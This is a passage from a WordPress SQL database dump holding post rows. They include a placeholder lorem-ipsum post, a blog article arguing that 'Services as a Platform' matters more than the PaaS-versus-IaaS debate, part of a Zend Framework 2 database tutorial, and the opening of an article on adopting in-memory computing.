10:46:45','0000-00-00 00:00:00','',0,'http://localhost/wordpress/?post_type=optionsframework&p=47',0,'optionsframework','',0),(48,1,'2013-08-26 10:46:45','0000-00-00 00:00:00','','Slider Image2','','draft','closed','closed','','of-slider_image2','','','2013-08-26 10:46:45','0000-00-00 00:00:00','',0,'http://localhost/wordpress/?post_type=optionsframework&p=48',0,'optionsframework','',0),(50,1,'2013-08-26 12:33:49','2013-08-26 12:33:49','','pattern','','inherit','open','open','','pattern','','','2013-08-26 12:33:49','2013-08-26 12:33:49','',0,'http://localhost/wordpress/wp-content/uploads/2013/08/pattern.png',0,'attachment','image/png',0),(51,1,'2013-08-26 12:53:35','2013-08-26 12:53:35','','Events','','publish','open','open','','events','','','2013-08-26 12:53:35','2013-08-26 12:53:35','',0,'http://localhost/wordpress/?post_type=tribe_events&#038;p=51',0,'tribe_events','',0),(63,1,'2013-08-27 05:29:17','2013-08-27 05:29:17','','Water lilies','','inherit','open','open','','water-lilies','','','2013-08-27 05:29:17','2013-08-27 05:29:17','',0,'http://localhost/wordpress/wp-content/uploads/2013/08/Water-lilies.jpg',0,'attachment','image/jpeg',0),(68,1,'2013-08-27 05:52:51','2013-08-27 05:52:51','<img class=\"alignleft size-thumbnail wp-image-63\" alt=\"Water lilies\" src=\"http://localhost/wordpress/wp-content/uploads/2013/08/Water-lilies-150x150.jpg\" width=\"150\" height=\"150\" />Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aenean commodo ligula eget dolor. Aenean massa. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Donec quam felis, ultricies nec, pellentesque eu, pretium quis, sem. Nulla consequat massa quis enim. Donec pede justo, fringilla vel, aliquet nec, vulputate eget, arcu. In enim justo, rhoncus ut, imperdiet a, venenatis vitae, justo. Nullam dictum felis eu pede mollis pretium. Integer tincidunt. Cras dapibus.\r\n\r\nVivamus elementum semper nisi. Aenean vulputate eleifend tellus. Aenean leo ligula, porttitor eu, consequat vitae, eleifend ac, enim. Aliquam lorem ante, dapibus in, viverra quis, feugiat a, tellus. Phasellus viverra nulla ut metus varius laoreet. Quisque rutrum. Aenean imperdiet. Etiam ultricies nisi vel augue. Curabitur ullamcorper ultricies nisi. Nam eget dui. Etiam rhoncus. Maecenas tempus, tellus eget condimentum rhoncus, sem quam semper libero, sit amet adipiscing sem neque sed ipsum.\r\n\r\nNam quam nunc, blandit vel, luctus pulvinar, hendrerit id, lorem. Maecenas nec odio et ante tincidunt tempus. Donec vitae sapien ut libero venenatis faucibus. Nullam quis ante. Etiam sit amet orci eget eros faucibus tincidunt. Duis leo. Sed fringilla mauris sit amet nibh. Donec sodales sagittis magna. Sed consequat, leo eget bibendum sodales, augue velit cursus nunc,','The tittle bird','','publish','open','open','','the-tittle-bird','','','2013-08-27 06:02:57','2013-08-27 06:02:57','',0,'http://localhost/wordpress/?p=68',0,'post','',0),(69,1,'2013-08-27 05:52:51','2013-08-27 05:52:51','<img class=\"alignleft size-thumbnail wp-image-63\" alt=\"Water lilies\" src=\"http://localhost/wordpress/wp-content/uploads/2013/08/Water-lilies-150x150.jpg\" width=\"150\" height=\"150\" />Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aenean commodo ligula eget dolor. Aenean massa. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Donec quam felis, ultricies nec, pellentesque eu, pretium quis, sem. Nulla consequat massa quis enim. Donec pede justo, fringilla vel, aliquet nec, vulputate eget, arcu. In enim justo, rhoncus ut, imperdiet a, venenatis vitae, justo. Nullam dictum felis eu pede mollis pretium. Integer tincidunt. Cras dapibus.\r\n\r\nVivamus elementum semper nisi. Aenean vulputate eleifend tellus. Aenean leo ligula, porttitor eu, consequat vitae, eleifend ac, enim. Aliquam lorem ante, dapibus in, viverra quis, feugiat a, tellus. Phasellus viverra nulla ut metus varius laoreet. Quisque rutrum. Aenean imperdiet. Etiam ultricies nisi vel augue. Curabitur ullamcorper ultricies nisi. Nam eget dui. Etiam rhoncus. Maecenas tempus, tellus eget condimentum rhoncus, sem quam semper libero, sit amet adipiscing sem neque sed ipsum.\r\n\r\nNam quam nunc, blandit vel, luctus pulvinar, hendrerit id, lorem. Maecenas nec odio et ante tincidunt tempus. Donec vitae sapien ut libero venenatis faucibus. Nullam quis ante. Etiam sit amet orci eget eros faucibus tincidunt. Duis leo. Sed fringilla mauris sit amet nibh. Donec sodales sagittis magna. Sed consequat, leo eget bibendum sodales, augue velit cursus nunc,','The tittle bird','','inherit','open','open','','68-revision-v1','','','2013-08-27 05:52:51','2013-08-27 05:52:51','',68,'http://localhost/wordpress/?p=69',0,'revision','',0),(72,1,'2014-07-21 07:25:21','2014-07-21 07:25:21','<strong>Summary:</strong>\r\n\r\nPlatform as a service has been hailed as the next frontier in cloud computing, but some experts are saying it’s more a feature than a market. James Urquhart says PaaS versus IaaS is a moot debate, because “Services as a platform” is the real cloud model.\r\nFor the last few weeks, an interesting and timely debate has been brewing among the technology press and various technology vendors and users about whether or not platform as a service, or PaaS, will survive as an independent cloud computing service category.\r\n\r\nNetworkWorld’s Brandon Butler asked if <a href=\"http://www.networkworld.com/news/2014/011314-paas-277660.html\">“the PaaS market is dying as we know it”</a>. Long-time cloud bloggers <a href=\"http://www.infoworld.com/d/cloud-computing/paas-isnt-dying-its-becoming-part-of-iaas-234351\">David Linthicum</a> and <a href=\"http://www.infoworld.com/d/cloud-computing/paas-isnt-dying-its-becoming-part-of-iaas-234351\">Reuven Cohen</a> concurred with Butler’s theory that PaaS was being absorbed into the IaaS and SaaS categories. This was met with counterarguments from EMC’s <a href=\"http://www.jpmorgenthal.com/morgenthal/?p=408\">JP Morgenthal</a> and Red Hat’s <a href=\"http://www.informationweek.com/cloud/platform-as-a-service/paas-is-dead-long-live-paas/d/d-id/1113444?&amp;_mc=sm_iwk_edit\">Krishnan Subramanian</a> that PaaS is indeed a key service catagory.\r\n\r\nI think this discussion is worth commenting on largely because it highlights the distinction between what services exist in the cloud and how those services are acquired. This is a common confusion, in part because the distinction is occasionally detrimental to various vendors’ attempts to differentiate themselves, and in part because the cloud services market is really quite immature when it comes to platform services for developers. (I’m not talking about the platforms themselves, but the market of those providing those platforms as services.)\r\n\r\nFirst, let’s review what is meant by “platform as a service.” The years-old definition provided by the U.S. National Institute of Standards and Technology is:\r\n\r\nThe capability provided to the consumer is to deploy onto the cloud infrastructure consumer-created or acquired applications created using programming languages, libraries, services, and tools supported by the provider. The consumer does not manage or control the underlying cloud infrastructure including network, servers, operating systems, or storage, but has control over the deployed applications and possibly configuration settings for the application-hosting environment.\r\n\r\nThus, to be considered a platform service, the service has to hide much of the vagrancies of coding for operations. The service provides the libraries, services and tools needed to build an application that (a) runs, and (b) deploys scales, and recovers with a minimum of attention on the part of the developer.\r\n\r\n<b>Blurring the lines</b>\r\n\r\nTwo things have happened since that definition was first put forth. The first is that IaaS providers, especially Amazon Web Services and Microsoft, have delivered services that blur the lines between platform and infrastructure. In Amazon’s case, it evolved a set of a services from the infrastructure up to include middleware services (RDS and Elastic Beanstalk, for instance), as well as deployment and ongoing operations services such as Autoscaling and Opsworks.\r\n\r\nMicrosoft, on the other hand, worked from the platform functionality down toward the infrastructure, adding “virtual machines” to its existing platform service portfolio. Why would it do this? Because as good as the Azure platform services may be at supporting generalized application development, developers often found they wanted to deploy their own software stacks that bypassed the platform.\r\n\r\nThis is the crux of the problem with claiming that PaaS, IaaS or SaaS will be the “winning mode.” From a developer’s perspective, it just doesn’t matter. Development is a collection of activities, some of which can benefit from automation of highly routine tasks, and others require extreme flexibility in how software is built, deployed and operated. You can’t pick one model over the other except in the most extreme edge cases.\r\n<b>SaaP — Services as a Platform</b>\r\n\r\nThis is why I prefer the term “Services as a Platform,” once posited by Cisco’s Lew Tucker (but, according to Lew, having originated from a source long forgotten) as the “winning cloud model.”\r\n\r\nBy focusing on the fact that cloud is about the consumption (and delivery) of services to be consumed by those that need them, and that development in the cloud is largely centered on how those services are composed into solutions to a wide range of problems, we cover the entire blurry distinction between IaaS, PaaS and SaaS. We also create a term that’s basically synonymous with cloud computing itself — from a developers perspective — and is thus just as useless in describing anything concrete.\r\n\r\nLet’s not get hung up on how “important” PaaS is relative to IaaS or SaaS. Some platform tools, such as Cloud Foundry or OpenShift, will be important for creating common interfaces for application development. Some platform services, such as Salesforce.com’s Heroku or Microsoft’s Azure, will be successful as parts of larger cloud service portfolios. But developers won’t bond to one and only one model for long. The composability of the overall cloud market will drive them to explore other models.\r\n\r\nAnd this, ultimately, is a great thing for the future of software innovation.','Enough PaaS vs. IaaS: The cloud is really about Services as a Platform','','publish','open','open','','enough-paas-vs-iaas-the-cloud-is-really-about-services-as-a-platform','','','2014-07-21 07:25:21','2014-07-21 07:25:21','',0,'http://localhost/yalavarthitechnologies/blog/?p=72',0,'post','',0),(73,1,'2014-07-21 07:25:21','2014-07-21 07:25:21','<strong>Summary:</strong>\r\n\r\nPlatform as a service has been hailed as the next frontier in cloud computing, but some experts are saying it’s more a feature than a market. James Urquhart says PaaS versus IaaS is a moot debate, because “Services as a platform” is the real cloud model.\r\nFor the last few weeks, an interesting and timely debate has been brewing among the technology press and various technology vendors and users about whether or not platform as a service, or PaaS, will survive as an independent cloud computing service category.\r\n\r\nNetworkWorld’s Brandon Butler asked if <a href=\"http://www.networkworld.com/news/2014/011314-paas-277660.html\">“the PaaS market is dying as we know it”</a>. Long-time cloud bloggers <a href=\"http://www.infoworld.com/d/cloud-computing/paas-isnt-dying-its-becoming-part-of-iaas-234351\">David Linthicum</a> and <a href=\"http://www.infoworld.com/d/cloud-computing/paas-isnt-dying-its-becoming-part-of-iaas-234351\">Reuven Cohen</a> concurred with Butler’s theory that PaaS was being absorbed into the IaaS and SaaS categories. This was met with counterarguments from EMC’s <a href=\"http://www.jpmorgenthal.com/morgenthal/?p=408\">JP Morgenthal</a> and Red Hat’s <a href=\"http://www.informationweek.com/cloud/platform-as-a-service/paas-is-dead-long-live-paas/d/d-id/1113444?&amp;_mc=sm_iwk_edit\">Krishnan Subramanian</a> that PaaS is indeed a key service catagory.\r\n\r\nI think this discussion is worth commenting on largely because it highlights the distinction between what services exist in the cloud and how those services are acquired. This is a common confusion, in part because the distinction is occasionally detrimental to various vendors’ attempts to differentiate themselves, and in part because the cloud services market is really quite immature when it comes to platform services for developers. (I’m not talking about the platforms themselves, but the market of those providing those platforms as services.)\r\n\r\nFirst, let’s review what is meant by “platform as a service.” The years-old definition provided by the U.S. National Institute of Standards and Technology is:\r\n\r\nThe capability provided to the consumer is to deploy onto the cloud infrastructure consumer-created or acquired applications created using programming languages, libraries, services, and tools supported by the provider. The consumer does not manage or control the underlying cloud infrastructure including network, servers, operating systems, or storage, but has control over the deployed applications and possibly configuration settings for the application-hosting environment.\r\n\r\nThus, to be considered a platform service, the service has to hide much of the vagrancies of coding for operations. The service provides the libraries, services and tools needed to build an application that (a) runs, and (b) deploys scales, and recovers with a minimum of attention on the part of the developer.\r\n\r\n<b>Blurring the lines</b>\r\n\r\nTwo things have happened since that definition was first put forth. The first is that IaaS providers, especially Amazon Web Services and Microsoft, have delivered services that blur the lines between platform and infrastructure. In Amazon’s case, it evolved a set of a services from the infrastructure up to include middleware services (RDS and Elastic Beanstalk, for instance), as well as deployment and ongoing operations services such as Autoscaling and Opsworks.\r\n\r\nMicrosoft, on the other hand, worked from the platform functionality down toward the infrastructure, adding “virtual machines” to its existing platform service portfolio. Why would it do this? Because as good as the Azure platform services may be at supporting generalized application development, developers often found they wanted to deploy their own software stacks that bypassed the platform.\r\n\r\nThis is the crux of the problem with claiming that PaaS, IaaS or SaaS will be the “winning mode.” From a developer’s perspective, it just doesn’t matter. Development is a collection of activities, some of which can benefit from automation of highly routine tasks, and others require extreme flexibility in how software is built, deployed and operated. You can’t pick one model over the other except in the most extreme edge cases.\r\n<b>SaaP — Services as a Platform</b>\r\n\r\nThis is why I prefer the term “Services as a Platform,” once posited by Cisco’s Lew Tucker (but, according to Lew, having originated from a source long forgotten) as the “winning cloud model.”\r\n\r\nBy focusing on the fact that cloud is about the consumption (and delivery) of services to be consumed by those that need them, and that development in the cloud is largely centered on how those services are composed into solutions to a wide range of problems, we cover the entire blurry distinction between IaaS, PaaS and SaaS. We also create a term that’s basically synonymous with cloud computing itself — from a developers perspective — and is thus just as useless in describing anything concrete.\r\n\r\nLet’s not get hung up on how “important” PaaS is relative to IaaS or SaaS. Some platform tools, such as Cloud Foundry or OpenShift, will be important for creating common interfaces for application development. Some platform services, such as Salesforce.com’s Heroku or Microsoft’s Azure, will be successful as parts of larger cloud service portfolios. But developers won’t bond to one and only one model for long. The composability of the overall cloud market will drive them to explore other models.\r\n\r\nAnd this, ultimately, is a great thing for the future of software innovation.','Enough PaaS vs. IaaS: The cloud is really about Services as a Platform','','inherit','open','open','','72-revision-v1','','','2014-07-21 07:25:21','2014-07-21 07:25:21','',72,'http://localhost/yalavarthitechnologies/blog/?p=73',0,'revision','',0),(75,1,'2014-07-21 07:36:22','2014-07-21 07:36:22','<strong>Summary:</strong>\r\n\r\n<b>8.Dealing with the Database (Models)</b>\r\n\r\nWe have the User module set up with controller action methods and view scripts, Now it\'s time to look at the model section of our application. We will make use of the Zend Framework class Zend\\Db\\TableGateway\\TableGateway which is used to find, insert, update and delete rows from a database table.\r\n\r\nWe are going to use MySQL, via PHP’s PDO driver, so create a database called cruddb, and run these SQL statements to create the user table with some data in it.\r\n\r\nCREATE TABLE user(\r\n\r\nid int(11) NOT NULL auto_increment,\r\n\r\nname varchar(100) NOT NULL,\r\n\r\npetname varchar(100) NOT NULL,\r\n\r\nPRIMARY KEY (id)\r\n\r\n);\r\n\r\nINSERT INTO user (name, petname)\r\n\r\nVALUES  (\'venkat\',  \'venky\');\r\n\r\nINSERT INTO user (name, petname)\r\n\r\nVALUES  (\'user1\',  \'petuser1\');\r\n\r\nINSERT INTO user (name, petname)\r\n\r\nVALUES  (\' user2\',  \'petuser2\');\r\n\r\nINSERT INTO user (name, petname)\r\n\r\nVALUES  (\'user3\',  \'petuser3\');\r\n\r\nINSERT INTO user (name, petname)\r\n\r\nVALUES  (\'user4\',  \'petuser4\');\r\n\r\nNow we have some data in a database and can write a very simple model for it.\r\n\r\n<b>9. Model File</b>\r\n\r\nZend Framework does not provide a Zend\\Model component because the model is your business logic and it’s up to you to decide how you want it to work.<b> </b>\r\n\r\nFor this project, we are going to create a very simple model by creating an UserTable class that uses the Zend\\Db\\TableGateway\\TableGateway class in which each user object is an User object (known as an <i>entity</i>). This is an implementation of the Table Data Gateway design pattern to allow for interfacing with data in a database table\r\n\r\nLet’s start by creating a file called User.php under module/User/src/User/Model:\r\n\r\n<b>&lt;?php</b>\r\n\r\n<b>namespace User\\Model; </b>\r\n\r\n<b>class User</b>\r\n\r\n<b>{</b>\r\n\r\n<b>    public $id;</b>\r\n\r\n<b>    public $name;</b>\r\n\r\n<b>    public $petname;</b>\r\n\r\n<b> </b>\r\n\r\n<b>    public function exchangeArray($data)</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>        $this-&gt;id     = (!empty($data[\'id\'])) ? $data[\'id\'] : null;</b>\r\n\r\n<b>        $this-&gt;name = (!empty($data[\'name\'])) ? $data[\'name\'] : null;</b>\r\n\r\n<b>        $this-&gt;petname  = (!empty($data[\'petname\'])) ? $data[\'petname\'] : null;</b>\r\n\r\n<b>    }</b>\r\n\r\n<b>}</b>\r\n\r\n<b>?&gt;</b>\r\n\r\nNext, create our UserTable.php file in module/User/src/User/Model directory like this:\r\n\r\n<b>&lt;?php</b>\r\n\r\n<b>namespace User\\Model;</b>\r\n\r\n<b> </b>\r\n\r\n<b>use Zend\\Db\\TableGateway\\TableGateway;</b>\r\n\r\n<b> </b>\r\n\r\n<b>class UserTable</b>\r\n\r\n<b>{</b>\r\n\r\n<b>    protected $tableGateway;</b>\r\n\r\n<b> </b>\r\n\r\n<b>    public function __construct(TableGateway $tableGateway)</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>        $this-&gt;tableGateway = $tableGateway;</b>\r\n\r\n<b>    }</b>\r\n\r\n<b> </b>\r\n\r\n<b>    public function fetchAll()</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>        $resultSet = $this-&gt;tableGateway-&gt;select();</b>\r\n\r\n<b>        return $resultSet;</b>\r\n\r\n<b>    }</b>\r\n\r\n<b> </b>\r\n\r\n<b>    public function getUser($id)</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>        $id  = (int) $id;</b>\r\n\r\n<b>        $rowset = $this-&gt;tableGateway-&gt;select(array(\'id\' =&gt; $id));</b>\r\n\r\n<b>        $row = $rowset-&gt;current();</b>\r\n\r\n<b>        if (!$row) {</b>\r\n\r\n<b>            throw new \\Exception(\"Could not find row $id\");</b>\r\n\r\n<b>        }</b>\r\n\r\n<b>        return $row;</b>\r\n\r\n<b>    }</b>\r\n\r\n<b> </b>\r\n\r\n<b>    public function saveUser(User $user)</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>        $data = array(</b>\r\n\r\n<b>            \'name\' =&gt; $user-&gt;name,</b>\r\n\r\n<b>            \'petname\'  =&gt; $user-&gt;petname,</b>\r\n\r\n<b>        );</b>\r\n\r\n<b> </b>\r\n\r\n<b>        $id = (int)$user-&gt;id;</b>\r\n\r\n<b>        if ($id == 0) {</b>\r\n\r\n<b>            $this-&gt;tableGateway-&gt;insert($data);</b>\r\n\r\n<b>        } else {</b>\r\n\r\n<b>            if ($this-&gt;getUser($id)) {</b>\r\n\r\n<b>                $this-&gt;tableGateway-&gt;update($data, array(\'id\' =&gt; $id));</b>\r\n\r\n<b>            } else {</b>\r\n\r\n<b>                throw new \\Exception(\'User id does not exist\');</b>\r\n\r\n<b>            }</b>\r\n\r\n<b>        }</b>\r\n\r\n<b>    }</b>\r\n\r\n<b> </b>\r\n\r\n<b>    public function deleteUser($id)</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>        $this-&gt;tableGateway-&gt;delete(array(\'id\' =&gt; $id));</b>\r\n\r\n<b>    }</b>\r\n\r\n<b>}</b>\r\n\r\n<b>?&gt;</b>\r\n\r\nFirstly, we set the protected property $tableGateway to the TableGateway instance passed in the constructor. We will use this to perform operations on the database table for our users.\r\n\r\nFetchAll():  retrieves all users rows from the database as a ResultSet,\r\n\r\ngetUser()   :    retrieves a single row as an User object,\r\n\r\nsaveUser() :   either creates a new row in the database or updates a row that already exists and\r\n\r\ndeleteUser(): removes the row completely.\r\n\r\nThe code for each of these methods is, hopefully, self-explanatory.\r\n<b>\r\n10.Using Service Manager to configure the table gateway and inject into the user table.</b>\r\n\r\ncreate a method called getServiceConfig() which is automatically called by the ModuleManager and applied to the ServiceManager. We’ll then be able to retrieve it in our controller when we need it.\r\n\r\nTo configure the ServiceManager, we can either supply the name of the class to be instantiated or a factory that instantiates the object when the ServiceManager needs it. We start by implementing getServiceConfig() to provide a factory that creates an UserTable. Add this method to the bottom of the Module.php file in module/User\r\n\r\n<b>// getAutoloaderConfig() and getConfig() methods here</b>\r\n\r\n<b>// Add this method:</b>\r\n\r\n<b>    public function getServiceConfig()</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>        return array(</b>\r\n\r\n<b>            \'factories\' =&gt; array(</b>\r\n\r\n<b>                \'User\\Model\\UserTable\' =&gt;  function($sm) {</b>\r\n\r\n<b>                    $tableGateway = $sm-&gt;get(\'UserTableGateway\');</b>\r\n\r\n<b>                    $table = new UserTable($tableGateway);</b>\r\n\r\n<b>                    return $table;</b>\r\n\r\n<b>                },</b>\r\n\r\n<b>                \'UserTableGateway\' =&gt; function ($sm) {</b>\r\n\r\n<b>                    $dbAdapter = $sm-&gt;get(\'Zend\\Db\\Adapter\\Adapter\');</b>\r\n\r\n<b>                    $resultSetPrototype = new ResultSet();</b>\r\n\r\n<b>                    $resultSetPrototype-&gt;setArrayObjectPrototype(new User());</b>\r\n\r\n<b>                    return new TableGateway(\'user\', $dbAdapter, null,$resultSetPrototype);</b>\r\n\r\n<b>                },</b>\r\n\r\n<b>            ),</b>\r\n\r\n<b>        );</b>\r\n\r\n<b>    }</b>\r\n\r\nAnd add these lines at the top of the page after namespace\r\n\r\n<b>// Add these import statements:</b>\r\n\r\n<b>use User\\Model\\User;</b>\r\n\r\n<b>use User\\Model\\UserTable;</b>\r\n\r\n<b>use Zend\\Db\\ResultSet\\ResultSet;</b>\r\n\r\n<b>use Zend\\Db\\TableGateway\\TableGateway;</b>\r\n\r\nThis method returns an array of factories that are all merged together by the ModuleManager before passing to the ServiceManager. The factory for User\\Model\\UserTable uses the ServiceManager to create an UserTableGateway to pass to the UserTable. We also tell the ServiceManager that an UserTableGateway is created by getting a Zend\\Db\\Adapter\\Adapter (also from the ServiceManager) and using it to create a TableGateway object.\r\n\r\nFinally, we need to configure the ServiceManager so that it knows how to get a Zend\\Db\\Adapter\\Adapter. This is done using a factory called Zend\\Db\\Adapter\\AdapterServiceFactory which we can configure within the merged config system. Zend Framework 2’s ModuleManager merges all the configuration from each module’s module.config.php file and then merges in the files in config/autoload (*.global.php and then *.local.php files). We’ll add our database configuration information to global.php\r\n\r\nModify config/autoload/global.php (in the Zendy Skeleton root ie.. zendy/config/autoload/global.php) with the following code:\r\n\r\n<b>&lt;?php</b>\r\n\r\n<b>return array(</b>\r\n\r\n<b>    \'db\' =&gt; array(</b>\r\n\r\n<b>        \'driver\'         =&gt; \'Pdo\',</b>\r\n\r\n<b>        \'dsn\'            =&gt; \'mysql:dbname=cruddb;host=localhost\',</b>\r\n\r\n<b>        \'username\' =&gt; \'root\',\r\n\'password\' =&gt; \'\',\r\n\'driver_options\' =&gt; array(</b>\r\n\r\n<b>            PDO::MYSQL_ATTR_INIT_COMMAND =&gt; \'SET NAMES \\\'UTF8\\\'\'</b>\r\n\r\n<b>        ),</b>\r\n\r\n<b>    ),</b>\r\n\r\n<b>    \'service_manager\' =&gt; array(</b>\r\n\r\n<b>        \'factories\' =&gt; array(</b>\r\n\r\n<b>            \'Zend\\Db\\Adapter\\Adapter\'</b>\r\n\r\n<b>                    =&gt; \'Zend\\Db\\Adapter\\AdapterServiceFactory\',</b>\r\n\r\n<b>        ),</b>\r\n\r\n<b>    ),</b>\r\n\r\n<b>);</b>\r\n\r\n<b>?&gt;\r\n\r\n</b><b>11.Back to the Controller:</b>\r\n\r\nNow that the ServiceManager can create an UserTable instance for us, we can add a method to the controller to retrieve it. Add getUserTable() to the UserController class:\r\n\r\nOpen the file: module/User/src/User/Controller/UserController.php:\r\n\r\n<b>    public function getUserTable()</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>        if (!$this-&gt;userTable) {</b>\r\n\r\n<b>            $sm = $this-&gt;getServiceLocator();</b>\r\n\r\n<b>            $this-&gt; userTable = $sm-&gt;get(\'User\\Model\\UserTable\');</b>\r\n\r\n<b>        }</b>\r\n\r\n<b>        return $this-&gt;userTable;</b>\r\n\r\n<b>    }</b>\r\n\r\nAnd this line at the top of the class\r\n\r\n<b>protected $userTable;</b>\r\n\r\nNow we can  call getUserTable() from within our controller whenever we need to interact with our model.\r\n\r\nIf the service locator was configured correctly in Module.php, then we should get an instance of User\\Model\\UserTable when calling getUserTable()\r\n\r\nModify this indexAction in the UserController.php in the module/User/src/User/Controller with this code:\r\n\r\n<b> public function indexAction()</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>        return new ViewModel(array(</b>\r\n\r\n<b>            \'users\' =&gt; $this-&gt;getUserTable()-&gt;fetchAll(),</b>\r\n\r\n<b>        ));</b>\r\n\r\n<b>    }</b>\r\n\r\nModify the index.phtml in the module/User/view/User/User/ with the following code :\r\n\r\n<b>&lt;?php</b>\r\n\r\n<b>$title = \'Registered Users\';</b>\r\n\r\n<b>$this-&gt;headTitle($title);</b>\r\n\r\n<b>?&gt;</b>\r\n\r\n<b>&lt;h1&gt;&lt;?php echo $this-&gt;escapeHtml($title); ?&gt;&lt;/h1&gt;</b>\r\n\r\n<b>&lt;p&gt;</b>\r\n\r\n<b>    &lt;a href=\"&lt;?php echo $this-&gt;url(\'user\', array(\'action\'=&gt;\'add\'));?&gt;\"&gt;Add new user&lt;/a&gt;</b>\r\n\r\n<b>&lt;/p&gt;</b>\r\n\r\n<b>&lt;table class=\"table\"&gt;</b>\r\n\r\n<b>&lt;tr&gt;</b>\r\n\r\n<b>    &lt;th&gt;Name&lt;/th&gt;</b>\r\n\r\n<b>    &lt;th&gt;PetName&lt;/th&gt;</b>\r\n\r\n<b>    &lt;th&gt;&amp;nbsp;&lt;/th&gt;</b>\r\n\r\n<b>&lt;/tr&gt;</b>\r\n\r\n<b>&lt;?php foreach ($users as $user) : ?&gt;</b>\r\n\r\n<b>&lt;tr&gt;</b>\r\n\r\n<b>    &lt;td&gt;&lt;?php echo $this-&gt;escapeHtml($user-&gt;name);?&gt;&lt;/td&gt;</b>\r\n\r\n<b>    &lt;td&gt;&lt;?php echo $this-&gt;escapeHtml($user-&gt;petname);?&gt;&lt;/td&gt;</b>\r\n\r\n<b>    &lt;td&gt;</b>\r\n\r\n<b>        &lt;a href=\"&lt;?php echo $this-&gt;url(\'user\',</b>\r\n\r\n<b>            array(\'action\'=&gt;\'edit\', \'id\' =&gt; $user-&gt;id));?&gt;\"&gt;Edit&lt;/a&gt;</b>\r\n\r\n<b>        &lt;a href=\"&lt;?php echo $this-&gt;url(\'user\',</b>\r\n\r\n<b>            array(\'action\'=&gt;\'delete\', \'id\' =&gt; $user-&gt;id));?&gt;\"&gt;Delete&lt;/a&gt;</b>\r\n\r\n<b>    &lt;/td&gt;</b>\r\n\r\n<b>&lt;/tr&gt;</b>\r\n\r\n<b>&lt;?php endforeach; ?&gt;</b>\r\n\r\n<b>&lt;/table&gt;</b>\r\n\r\nFinally Open your browser and type the url like this “zendy.local/user”\r\nThen you will see the list of registered users.','Zendframework 2 tutorial part 4','','publish','open','open','','why-you-need-an-in-memory-action-plan','','','2014-07-21 08:00:53','2014-07-21 08:00:53','',0,'http://localhost/yalavarthitechnologies/blog/?p=75',0,'post','',0),(76,1,'2014-07-21 07:36:22','2014-07-21 07:36:22','<strong>Summery:</strong>\r\n<h3>Why you need an in-memory action plan</h3>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nYou need to change the way you look at IT infrastructure, applications, and the infrastructure that’s running those applications. <strong>Truly, with some of these new technologies like in-memory technology, there are no barriers, things that you can’t do. Words like “no we can’t do it” start to go away.</strong>\r\n\r\nI’m not going to tell you it’s going to be cheap, I’m not going to tell you there’s not going to be bumps in the road as you’re doing it, but <strong>things that you really thought were not possible are possible now. Period. </strong>[<a href=\"http://timoelliott.com/blog/2013/04/why-in-memory-computing-is-cheaper-and-changes-everything.html\" target=\"_blank\">examples in previous post</a>]\r\n\r\nWhat do you do in your organization to start to adopt or use some of the in-memory technologies? You <em>are</em> going to spend money on this. Whether the TCO is less or not, you still have to build your skills, you still have to buy applications, you still have to buy the technology and infrastructure and things like that.\r\n\r\n&nbsp;\r\n\r\n<strong>Build a business case first.</strong> Show the value of what you’re going to do. The return on investment may be long or may be short. We recommend short at first. Small projects with quick return on investment will get you more projects that are bigger and have a greater impact on the company. But you have to prove it first – that’s the key.\r\n\r\nAssign a small team of people to look at this. Most companies don’t have a research and development organization in IT (the big ones do). But there’s no reason you can’t have one person looking at the things that are possible with the new technologies, looking at how they can make your current applications more efficient, or start to change how you use them.\r\n\r\n<strong>So set up a CTO or department of the CTO that has somebody in there who’s just looking at the stuff that’s out five years or ten years from now</strong>, so that you will be ready to start to do projects with it when it matures to the level of risk that you’re willing to take.\r\n\r\nAlways do a POC, proof of concept. Do not just assume that because it looks good on paper it’s going to work for you. You need to test it with your data, with your applications, with your people.\r\n\r\nBrainstorming. A lot of people don’t realize that your business unit people are much more IT-aware than they have ever been before. Brainstorm with them on what some of these things can happen, in the business, and how they can make use of it. Who has the budget today? IT? Or the business unit? So if you don’t do this, they’re going to do it anyway, and they’re going to implement the technology without IT. The big disadvantage is that the company doesn’t get the broad skill base that is necessary, and that technology is not shared across the business units. It’s much better to keep it in IT, not because you order it so, but because you are moving along in these new ways, with the business units and what they need.\r\n\r\nIf you believe what I’m telling you about in-memory technology, as being part of your future, it’s not too early to start to <strong>define a strategy for how in-memory is going to enter into your organization and be used</strong>.\r\n\r\nYou may decide that part of the strategy is “we’re going to wait two years to let it mature”. That’s fine, but start looking now at where it can fit and when within the organization, so that you’re prepared and ready to accept it when it comes along. If you’re an early adopter, start tomorrow. If you’re more risk-adverse, next year, the year after.\r\n\r\nBut at least understand the strategy for how this is going to fit in your organization, because as we believe, <strong>it IS coming, whether you want it or not,</strong> so you may as well start now to look at a strategy for where it’s going to fit in the future.\r\n<h3>Questions and Answers</h3>\r\n<strong>What would you reply to somebody who said “I’ve already got enough problems in my organization already”?</strong>\r\n\r\nFrom a short-term standpoint, I can’t disagree with that.\r\n\r\nBut some of the new architectures and the in-memory technologies can maybe help you with some of the issues that you have today.\r\n\r\nIt depends on what the issues are. One of the issues a lot of people have is speed: my applications don’t run fast enough. So maybe there’s in-memory technology that can speed that up. Or maybe moving it to mobile will make it run faster.\r\n\r\nLooking at the nexus of forces and looking at technology as a solution to some of your problems may actually help you short-term.\r\n\r\nCloud – maybe cloud can save you some time. I’ll give you a simple example: how are your development costs? Use the public cloud for that. Let your developers develop on an Amazon AWS.\r\n\r\nWhy is that good? Your people don’t have to set up the development environment. You make a phone call, and you have it. When the project’s done, you make another phone call, and not pay for it any more. You don’t have to go out and buy a server that then you’ve got to figure out what to do with after the development project is done. So there’s a place where cloud immediately can help you.\r\n\r\nSo some of this new technology is mature enough to solve some of your problems. And then, when you start putting your head together with the business units and start to have an impact on the competitiveness and the bottom line of the organization, that’s where you can really make a difference. <strong>Some of this technology may enable you, if 